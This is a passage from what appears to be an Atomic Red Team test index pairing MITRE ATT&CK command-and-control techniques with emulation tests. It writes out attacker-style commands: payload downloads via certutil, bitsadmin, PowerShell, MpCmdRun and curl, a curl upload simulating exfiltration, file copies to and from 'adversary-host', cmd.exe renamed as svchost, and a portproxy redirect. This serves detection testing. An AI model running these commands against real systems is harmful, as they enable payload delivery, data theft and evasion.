      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Ingress Tool Transfer
      description: Adversaries may transfer tools or other files from an external
        system into a compromised environment. Files may be copied from an external
        adversary controlled system through the command and control channel to bring
        tools into the victim network or through alternate protocols with another
        tool such as FTP. Files can also be copied over on Mac and Linux with native
        tools like scp, rsync, and sftp.
      external_references:
      - source_name: mitre-attack
        external_id: T1105
        url: https://attack.mitre.org/techniques/T1105
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.

        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Creation'
      x_mitre_version: '2.0'
      identifier: T1105
    atomic_tests:
    - name: rsync remote file copy (push)
      auto_generated_guid: 0fc6e977-cb12-44f6-b263-2824ba917409
      description: 'Utilize rsync to perform a remote file copy (push)

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Remote path to receive rsync
          type: Path
          default: "/tmp/victim-files"
        remote_host:
          description: Remote host to copy toward
          type: String
          default: victim-host
        local_path:
          description: Path of folder to copy
          type: Path
          default: "/tmp/adversary-rsync/"
        username:
          description: User account to authenticate on remote host
          type: String
          default: victim
      executor:
        command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}

'
        name: bash
    - name: rsync remote file copy (pull)
      auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f
      description: 'Utilize rsync to perform a remote file copy (pull)

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Path of folder to copy
          type: Path
          default: "/tmp/adversary-rsync/"
        remote_host:
          description: Remote host to copy from
          type: String
          default: adversary-host
        local_path:
          description: Local path to receive rsync
          type: Path
          default: "/tmp/victim-files"
        username:
          description: User account to authenticate on remote host
          type: String
          default: adversary
      executor:
        command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}

'
        name: bash
    - name: scp remote file copy (push)
      auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344
      description: 'Utilize scp to perform a remote file copy (push)

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Remote path to receive scp
          type: Path
          default: "/tmp/victim-files/"
        local_file:
          description: Path of file to copy
          type: Path
          default: "/tmp/adversary-scp"
        remote_host:
          description: Remote host to copy toward
          type: String
          default: victim-host
        username:
          description: User account to authenticate on remote host
          type: String
          default: victim
      executor:
        command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path}

'
        name: bash
    - name: scp remote file copy (pull)
      auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33
      description: 'Utilize scp to perform a remote file copy (pull)

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_host:
          description: Remote host to copy from
          type: String
          default: adversary-host
        local_path:
          description: Local path to receive scp
          type: Path
          default: "/tmp/victim-files/"
        remote_file:
          description: Path of file to copy
          type: Path
          default: "/tmp/adversary-scp"
        username:
          description: User account to authenticate on remote host
          type: String
          default: adversary
      executor:
        command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path}

'
        name: bash
    - name: sftp remote file copy (push)
      auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e
      description: 'Utilize sftp to perform a remote file copy (push)

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_path:
          description: Remote path to receive sftp
          type: Path
          default: "/tmp/victim-files/"
        local_file:
          description: Path of file to copy
          type: Path
          default: "/tmp/adversary-sftp"
        remote_host:
          description: Remote host to copy toward
          type: String
          default: victim-host
        username:
          description: User account to authenticate on remote host
          type: String
          default: victim
      executor:
        command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}''

'
        name: bash
    - name: sftp remote file copy (pull)
      auto_generated_guid: '0139dba1-f391-405e-a4f5-f3989f2c88ef'
      description: 'Utilize sftp to perform a remote file copy (pull)

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_host:
          description: Remote host to copy from
          type: String
          default: adversary-host
        local_path:
          description: Local path to receive sftp
          type: Path
          default: "/tmp/victim-files/"
        remote_file:
          description: Path of file to copy
          type: Path
          default: "/tmp/adversary-sftp"
        username:
          description: User account to authenticate on remote host
          type: String
          default: adversary
      executor:
        command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path}

'
        name: bash
    - name: certutil download (urlcache)
      auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0
      description: 'Use certutil -urlcache argument to download a file from the web.
        Note - /urlcache also works!

'
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Local path to place file
          type: Path
          default: Atomic-license.txt
      executor:
        command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}

'
        cleanup_command: 'del #{local_path} >nul 2>&1

'
        name: command_prompt
    - name: certutil download (verifyctl)
      auto_generated_guid: ffd492e3-0455-4518-9fb1-46527c9f241b
      description: 'Use certutil -verifyctl argument to download a file from the web.
        Note - /verifyctl also works!

'
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Local path to place file
          type: Path
          default: Atomic-license.txt
      executor:
        command: |
          $datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
          New-Item -Path $datePath -ItemType Directory
          Set-Location $datePath
          certutil -verifyctl -split -f #{remote_file}
          Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
        cleanup_command: 'Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force
          -Recurse -ErrorAction Ignore

'
        name: powershell
    - name: Windows - BITSAdmin BITS Download
      auto_generated_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b
      description: |
        This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
        This technique is used by Qbot malware to download payloads.
      supported_platforms:
      - windows
      input_arguments:
        bits_job_name:
          description: Name of the created BITS job
          type: String
          default: qcxjb7
        local_path:
          description: Local path to place file
          type: Path
          default: "%temp%\\Atomic-license.txt"
        remote_file:
          description: URL of file to copy
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
      executor:
        command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority
          HIGH #{remote_file} #{local_path}

'
        name: command_prompt
    - name: Windows - PowerShell Download
      auto_generated_guid: 42dc4460-9aa6-45d3-b1a6-3955d34e1fe8
      description: |
        This test uses PowerShell to download a payload.
        This technique is used by multiple adversaries and malware families.
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        destination_path:
          description: Destination path to file
          type: Path
          default: "$env:TEMP\\Atomic-license.txt"
      executor:
        command: '(New-Object System.Net.WebClient).DownloadFile("#{remote_file}",
          "#{destination_path}")

'
        cleanup_command: 'Remove-Item #{destination_path} -Force -ErrorAction Ignore

'
        name: powershell
    - name: OSTAP Worming Activity
      auto_generated_guid: 2ca61766-b456-4fcf-a35a-1233685e1cad
      description: 'OSTap copies itself in a specfic way to shares and secondary drives.
        This emulates the activity.

'
      supported_platforms:
      - windows
      input_arguments:
        destination_path:
          description: Path to create remote file at. Default is local admin share.
          type: String
          default: "\\\\localhost\\C$"
      executor:
        command: |
          pushd #{destination_path}
          echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
          CScript.exe AtomicTestT1105.js //E:JScript
          del AtomicTestT1105.js /Q >nul 2>&1
          del AtomicTestFileT1105.js /Q >nul 2>&1
          popd
        name: command_prompt
        elevation_required: true
    - name: svchost writing a file to a UNC path
      auto_generated_guid: fa5a2759-41d7-4e13-a19c-e8f28a53566f
      description: |
        svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
        Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.
      supported_platforms:
      - windows
      executor:
        command: |
          copy C:\Windows\System32\cmd.exe C:\svchost.exe
          C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
        cleanup_command: |
          del C:\T1105.txt >nul 2>&1
          del C:\\svchost.exe >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Download a File with Windows Defender MpCmdRun.exe
      auto_generated_guid: 815bef8b-bf91-4b67-be4c-abe4c2a94ccc
      description: |
        Uses the Windows Defender to download a file from the internet (must have version 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 installed).
        The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file.
        By default, the test downloads the Atomic Red Team license file to the temp directory.

        More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Location to save downloaded file
          type: Path
          default: "%temp%\\Atomic-license.txt"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Must have one of these Windows Defender versions installed:
          4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9'
        prereq_command: |
          $retVal = 1
          foreach ($version in @("4.18.2007.8-0","4.18.2007.9","4.18.2009.9")){
            if (Test-Path "$env:ProgramData\Microsoft\Windows Defender\Platform\$version") { $retVal =  0}
          }
          exit $retVal
        get_prereq_command: Write-Host "Windows Defender verion 4.18.2007.8-0, 4.18.2007.9,
          or 4.18.2009.9 must be installed manually"
      executor:
        command: |
          cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
          MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
        cleanup_command: |-
          del #{local_path} >nul 2>&1
          del %temp%\MpCmdRun.log >nul 2>&1
        name: command_prompt
    - name: whois file download
      auto_generated_guid: c99a829f-0bb8-4187-b2c6-d47d1df74cab
      description: 'Download a remote file using the whois utility

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: String
          default: localhost
        remote_port:
          description: Remote port to connect to
          type: Integer
          default: 8443
        output_file:
          description: Path of file to save output to
          type: Path
          default: "/tmp/T1105.whois.out"
        query:
          description: Query to send to remote server
          type: String
          default: Hello from Atomic Red Team test T1105
        timeout:
          description: Timeout period before ending process (seconds)
          type: Integer
          default: 1
      dependencies:
      - description: 'The whois and timeout commands must be present

'
        prereq_command: 'which whois && which timeout

'
        get_prereq_command: 'echo "Please install timeout and the whois package"

'
      executor:
        name: sh
        elevation_required: false
        command: 'timeout --preserve-status #{timeout} whois -h #{remote_host} -p
          #{remote_port} "#{query}" > #{output_file}

'
        cleanup_command: 'rm -f #{output_file}

'
    - name: File Download via PowerShell
      auto_generated_guid: 54a4daf1-71df-4383-9ba7-f1a295d8b6d2
      description: 'Use PowerShell to download and write an arbitrary file from the
        internet. Example is from the 2021 Threat Detection Report by Red Canary.

'
      supported_platforms:
      - windows
      input_arguments:
        target_remote_file:
          description: File to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt
        output_file:
          description: File to write to
          type: String
          default: LICENSE.txt
      executor:
        command: "(New-Object Net.WebClient).DownloadString('#{target_remote_file}')
          | Out-File #{output_file}; Invoke-Item #{output_file}\n"
        name: powershell
    - name: File download with finger.exe on Windows
      auto_generated_guid: 5f507e45-8411-4f99-84e7-e38530c45d01
      description: |
        Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
        Because this is being tested on the localhost, you should not be expecting a successful connection
        https://www.exploit-db.com/exploits/48815
        https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
      supported_platforms:
      - windows
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: String
          default: localhost
      executor:
        name: command_prompt
        command: 'finger base64_filedata@#{remote_host}

'
    - name: Download a file with IMEWDBLD.exe
      auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2
      description: |
        Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
        Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
        Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.
      supported_platforms:
      - windows
      input_arguments:
        remote_url:
          description: Location of file to be downloaded.
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml
        file_name:
          description: Name of the file to be downloaded without extension.
          type: string
          default: T1105
      executor:
        command: |
          $imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
          & $imewdbled #{remote_url}
        cleanup_command: "$inetcache = $env:LOCALAPPDATA + \"\\Microsoft\\Windows\\INetCache\\\"
          \n$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include
          #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)\nif(\"\"
          -ne \"$file_to_be_removed\") { Remove-Item \"$file_to_be_removed\" -ErrorAction
          Ignore }\n"
        name: powershell
    - name: Curl Download File
      auto_generated_guid: 2b080b99-0deb-4d51-af0f-833d37c4ca6a
      description: |
        The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
        Expected output will include whether the file downloaded successfully or not.
      supported_platforms:
      - windows
      input_arguments:
        file_download:
          description: File to download
          type: String
          default: https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll
        curl_path:
          description: path to curl.exe
          type: Path
          default: C:\Windows\System32\Curl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Curl must be installed on system.

'
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile $env:temp\curl.zip
          Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
          Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
          Remove-Item $env:temp\curl
          Remove-Item $env:temp\curl.zip
      executor:
        command: |
          #{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll
          #{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll
          #{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll
          #{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll
        cleanup_command: |
          del c:\users\public\music\allthethingsx64.dll >nul 2>&1
          del c:\users\public\music\allthethingsx64.dll >nul 2>&1
          del c:\programdata\allthethingsx64.dll >nul 2>&1
          del %Temp%\allthethingsx64.dll >nul 2>&1
        name: command_prompt
    - name: Curl Upload File
      auto_generated_guid: 635c9a38-6cbf-47dc-8615-3810bc1167cf
      description: |
        The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration
        Expected output will include whether the file uploaded successfully or not.
      supported_platforms:
      - windows
      input_arguments:
        curl_path:
          description: path to curl.exe
          type: Path
          default: C:\Windows\System32\Curl.exe
        remote_destination:
          description: Remote destination
          type: String
          default: www.example.com
        file_path:
          description: File to upload
          type: String
          default: c:\temp\atomictestfile.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Curl must be installed on system.

'
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest “https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip” -Outfile $env:temp\curl.zip
          Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
          Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
          Remove-Item $env:temp\curl
          Remove-Item $env:temp\curl.zip
      - description: 'A file must be created to upload

'
        prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'echo "This is an Atomic Test File" > #{file_path}

'
      executor:
        command: |
          #{curl_path} -T #{file_path} #{remote_destination}
          #{curl_path} --upload-file #{file_path} #{remote_destination}
          #{curl_path} -d #{file_path} #{remote_destination}
          #{curl_path} --data #{file_path} #{remote_destination}
        name: command_prompt
    - name: Download a file with Microsoft Connection Manager Auto-Download
      auto_generated_guid: d239772b-88e2-4a2e-8473-897503401bcc
      description: "Uses the cmdl32 to download arbitrary file from the internet.
        The cmdl32 package is allowed to install the profile used to launch the VPN
        connection. However, the config is modified to download the arbitary file.
        \nThe issue of cmdl32.exe detecting and deleting the payload by identifying
        it as not a VPN Servers profile is avoided by setting a temporary TMP folder
        and denying the delete permission to all files for the user.\nUpon successful
        execution the test will open calculator and Notepad executable for 10 seconds.\nreference:\nhttps://twitter.com/ElliotKillick/status/1455897435063074824\nhttps://github.com/LOLBAS-Project/LOLBAS/pull/151\nhttps://lolbas-project.github.io/lolbas/Binaries/Cmdl32/\nhttps://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html\n"
      supported_platforms:
      - windows
      input_arguments:
        Path_to_file:
          description: Path to the Batch script
          type: Path
          default: PathToAtomicsFolder\T1105\src\T1105.bat
      executor:
        command: "#{Path_to_file} 1>NUL \n"
        cleanup_command: |
          del /f/s/q %temp%\T1105 >nul 2>&1
          rmdir /s/q %temp%\T1105 >nul 2>&1
        name: command_prompt
  T1090.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1090.001
        url: https://attack.mitre.org/techniques/T1090/001
      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
          of the Trade. Retrieved December 2, 2015.'
        source_name: Trend Micro APT Attack Tools
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Internal Proxy
      description: |-
        Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

        By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.
      id: attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-15T00:46:26.598Z'
      created: '2020-03-14T23:08:20.244Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'Analyze network data for uncommon data flows between clients
        that should not or often do not communicate with one another. Processes utilizing
        the network that do not normally have network communication or have never
        been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1090.001
    atomic_tests:
    - name: Connection Proxy
      auto_generated_guid: 0ac21132-4485-4212-a681-349e8a6637cd
      description: |
        Enable traffic redirection.

        Note that this test may conflict with pre-existing system configuration.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        proxy_server:
          description: Proxy server URL (host:port)
          type: Url
          default: 127.0.0.1:8080
        proxy_scheme:
          description: Protocol to proxy (http or https)
          type: String
          default: http
      executor:
        command: 'export #{proxy_scheme}_proxy=#{proxy_server}

'
        cleanup_command: |
          unset http_proxy
          unset https_proxy
        name: sh
    - name: Connection Proxy for macOS UI
      auto_generated_guid: 648d68c1-8bcd-4486-9abe-71c6655b6a2c
      description: |
        Enable traffic redirection on macOS UI (not terminal).
        The test will modify and enable the "Web Proxy" and "Secure Web Proxy" settings  in System Preferences => Network => Advanced => Proxies for the specified network interface.

        Note that this test may conflict with pre-existing system configuration.
      supported_platforms:
      - macos
      input_arguments:
        proxy_server:
          description: Proxy server URL (host)
          type: Url
          default: 127.0.0.1
        proxy_port:
          description: Proxy server port
          type: Integer
          default: 8080
        interface:
          description: Protocol to proxy (http or https)
          type: String
          default: Wi-Fi
      executor:
        name: sh
        command: |
          networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port}
          networksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port}
        cleanup_command: "networksetup -setwebproxystate #{interface} off\nnetworksetup
          -setsecurewebproxystate #{interface} off  \n"
    - name: portproxy reg key
      auto_generated_guid: b8223ea9-4be2-44a6-b50a-9657a3d4e72a
      description: |
        Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
        Upon execution there will be a new proxy entry in netsh
        netsh interface portproxy show all
      supported_platforms:
      - windows
      input_arguments:
        connectaddress:
          description: Specifies the IPv4 address to which to connect. Acceptable
            values are IP address, computer NetBIOS name, or computer DNS name. If
            an address is not specified, the default is the local computer.
          type: String
          default: 127.0.0.1
        connectport:
          description: Specifies the IPv4 port, by port number or service name, to
            which to connect. If connectport is not specified, the default is the
            value of listenport on the local computer.
          type: String
          default: '1337'
        listenport:
          description: Specifies the IPv4 port, by port number or service name, on
            which to listen.
          type: String
          default: '1337'
      executor:
        command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport}
          connectaddress=#{connectaddress}
        cleanup_command: netsh interface portproxy delete v4tov4 listenport=#{listenport}
          -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
  T1001.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1001.001
        url: https://attack.mitre.org/techniques/T1001/001
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Junk Data
      description: 'Adversaries may add junk data to protocols used for command and
        control to make detection more difficult. By adding random or meaningless
        data to the protocols used for command and control, adversaries can prevent
        trivial methods for decoding, deciphering, or otherwise analyzing the traffic.
        Examples may include appending/prepending data with junk characters or writing
        junk characters between significant characters. '
      id: attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-15T00:30:25.444Z'
      created: '2020-03-15T00:30:25.444Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1071.003:
    technique:
      id: attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b
      description: "Adversaries may communicate using application layer protocols
        associated with electronic mail delivery to avoid detection/network filtering
        by blending in with existing traffic. Commands to the remote system, and often
        the results of those commands, will be embedded within the protocol traffic
        between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP
        that carry electronic mail may be very common in environments.  Packets produced
        from these protocols may have many fields and headers in which data can be
        concealed. Data could also be concealed within the email messages themselves.
        An adversary may abuse these protocols to communicate with systems under their
        control within a victim network while also mimicking normal, expected traffic. "
      name: Mail Protocols
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1071.003
        url: https://attack.mitre.org/techniques/T1071/003
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-10-21T16:35:45.633Z'
      created: '2020-03-15T16:21:45.131Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol standards regarding
        syntax, structure, or any other variable adversaries could leverage to conceal
        data.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1104:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1104
        external_id: T1104
      description: |-
        Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

        Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

        The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.
      name: Multi-Stage Channels
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-07-14T19:43:38.181Z'
      created: '2017-05-31T21:31:15.935Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_detection: Host data that can relate unknown or suspicious process activity
        using a network connection is important to supplement any existing indicators
        of compromise based on malware command and control signatures and infrastructure.
        Relating subsequent actions that may result from Discovery of the system and
        network information or Lateral Movement to the originating process may also
        yield useful data.
      x_mitre_network_requirements: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1090.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1090.003
        url: https://attack.mitre.org/techniques/T1090/003
      - source_name: Onion Routing
        url: https://en.wikipedia.org/wiki/Onion_routing
        description: Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Multi-hop Proxy
      description: |-
